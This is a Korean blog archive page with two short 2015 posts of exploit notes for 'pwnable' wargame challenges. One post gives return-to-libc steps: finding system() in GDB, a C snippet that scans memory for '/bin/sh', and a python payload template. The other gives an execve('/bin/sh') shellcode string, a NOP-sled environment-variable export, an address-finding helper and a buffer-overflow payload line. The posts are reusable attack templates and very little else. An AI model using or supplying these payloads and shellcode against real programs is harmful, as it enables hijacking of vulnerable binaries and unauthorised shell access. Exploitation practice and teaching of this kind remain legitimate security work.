'Repository/Library'에 해당되는 글 2건

  1. 2015.08.30 [Library / Pwnable] Return To Libc Memo
  2. 2015.08.30 [Library / Pwnable] Buffer Overflow Memo

[Library / Pwnable] Return To Libc Memo

Repository/Library 2015. 8. 30. 21:14

[System_Addr - GDB]

>b *func

>r

>p system


[Export Exploit_Addr 1]
int main()
{
        unsigned int addr;
        printf("\nSystem Addr : 0x");
        scanf("%x",&addr);
        while(memcmp((void*)addr,"/bin/sh",8))addr++;
        printf("\n<Calculated Result>\nExploit Addr : 0x%x\n\n",addr);

        return 0;

}


[Export Exploit_Addr 2]

>find &system, +99999999, /bin/sh


[Payload Example]

./filename `python -c 'print "\x90"*SizeOfBuf+"System_Addr"+"\x90"*4+"Exploit_Addr"'`


저작자표시 비영리 동일조건

'Repository > Library' 카테고리의 다른 글

[Library / Pwnable] Buffer Overflow Memo  (0) 2015.08.30
Posted by RevDev
,

[Library / Pwnable] Buffer Overflow Memo

Repository/Library 2015. 8. 30. 21:12
[SHELLCODE Example]
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

[Export SHELLCODE]
export envname=`python -c 'print "\x90"*SizeOfNOP+"SHELLCODE"'`

[Export ENVaddr]
int main(int argc, char *argv[]) {
  char *env = getenv(argv[1]);        
  printf("ENV addr =  %p\n",env);
}

[Payload Example]
./filename `python -c 'print "\x90"*SizeOfBuf+"ENVaddr"'`


저작자표시 비영리 동일조건

'Repository > Library' 카테고리의 다른 글

[Library / Pwnable] Return To Libc Memo  (0) 2015.08.30
Posted by RevDev
,

티스토리툴바